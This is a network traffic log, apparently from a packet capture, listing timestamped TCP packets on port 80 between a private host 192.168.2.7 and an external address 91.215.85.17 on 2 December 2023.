Dec 2, 2023 18:01:54.316464901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316471100 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316483021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316499949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316514969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316515923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316534042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316535950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316551924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316555977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316570044 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316574097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316591024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316589117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316610098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316613913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316627979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316648006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316665888 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316786051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316803932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316822052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316824913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316840887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316845894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316858053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316865921 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316876888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316884995 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316895962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316901922 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316914082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316915035 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316931009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316940069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316947937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316962004 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316966057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316981077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.316986084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.316997051 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317002058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317013979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317020893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317032099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317038059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317051888 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317055941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317073107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317082882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317092896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317109108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317125082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317142010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317157984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317174911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317193031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317209959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317226887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317255020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317271948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317274094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317274094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317274094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317274094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317274094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317274094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317274094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317290068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317296028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317296028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317296028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317296028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317308903 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317308903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317327976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317331076 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317347050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317356110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317363977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317380905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317382097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.317589998 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.317781925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.318825960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.534687042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534715891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534734011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534754992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534773111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534790993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534811020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534828901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534851074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534871101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534876108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.534876108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.534876108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.534877062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.534892082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534910917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534930944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.534936905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.534976959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.544038057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.544148922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.544152975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.544174910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.544202089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.544215918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.544369936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.544410944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.544509888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.544974089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.544996977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.545016050 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.545022011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.545058966 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547012091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547044039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547069073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547086954 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547091007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547116995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547131062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547139883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547162056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547178030 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547219992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547246933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547271013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547307968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547332048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547348976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547435999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547462940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547477961 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547581911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547605038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547626019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547626019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547667980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547684908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547875881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547898054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.547920942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.547995090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548021078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548037052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548085928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548108101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548129082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548213959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548238039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548252106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548259020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548312902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548326969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548480034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548505068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548527002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548549891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548553944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548572063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548599005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548612118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548635960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548657894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548682928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548698902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548703909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548728943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548743010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548749924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548772097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548788071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548793077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548814058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548830986 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548834085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548856974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548871040 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548880100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548899889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548914909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548921108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548942089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548964024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.548965931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.548989058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549004078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549010992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549032927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549048901 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549055099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549076080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549093008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549101114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549123049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549139023 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549144030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549189091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549196959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549472094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549495935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549516916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549520016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549539089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549555063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549563885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549585104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549599886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549604893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549631119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549650908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549654961 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549679041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549690962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549700022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549721003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549736977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549741983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549763918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549779892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549787045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549808025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549829960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549834013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549850941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549871922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549880028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549894094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549913883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549918890 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549935102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549956083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.549958944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549979925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.549995899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550000906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550024986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550035954 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550049067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550070047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550091982 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550091982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550117016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550137043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550138950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550158978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550180912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550189972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550203085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550209999 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550225019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550240993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550267935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550292969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550309896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550312996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550334930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550352097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550358057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550379992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550395012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550400019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550425053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550437927 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550446987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550467014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550482988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550493002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550517082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550530910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550538063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550580978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550601959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550607920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550626040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550640106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550646067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550668001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550682068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550689936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550713062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550728083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550833941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550837994 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550862074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550887108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550892115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550914049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550915956 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550930977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550937891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550959110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.550972939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.550980091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551001072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551018000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551062107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551100969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551124096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551145077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551167011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551184893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551188946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551213026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551227093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551233053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551254034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551269054 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551275015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551296949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551311970 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551316977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551340103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551352024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551361084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551383972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551398993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551403999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551425934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551440001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551445961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551469088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551486015 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551489115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551515102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551527023 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551677942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551701069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551719904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551723957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551763058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.551781893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551804066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551826000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551846027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.551866055 CET	80	49713	91.215.85.17	192.168.2.7
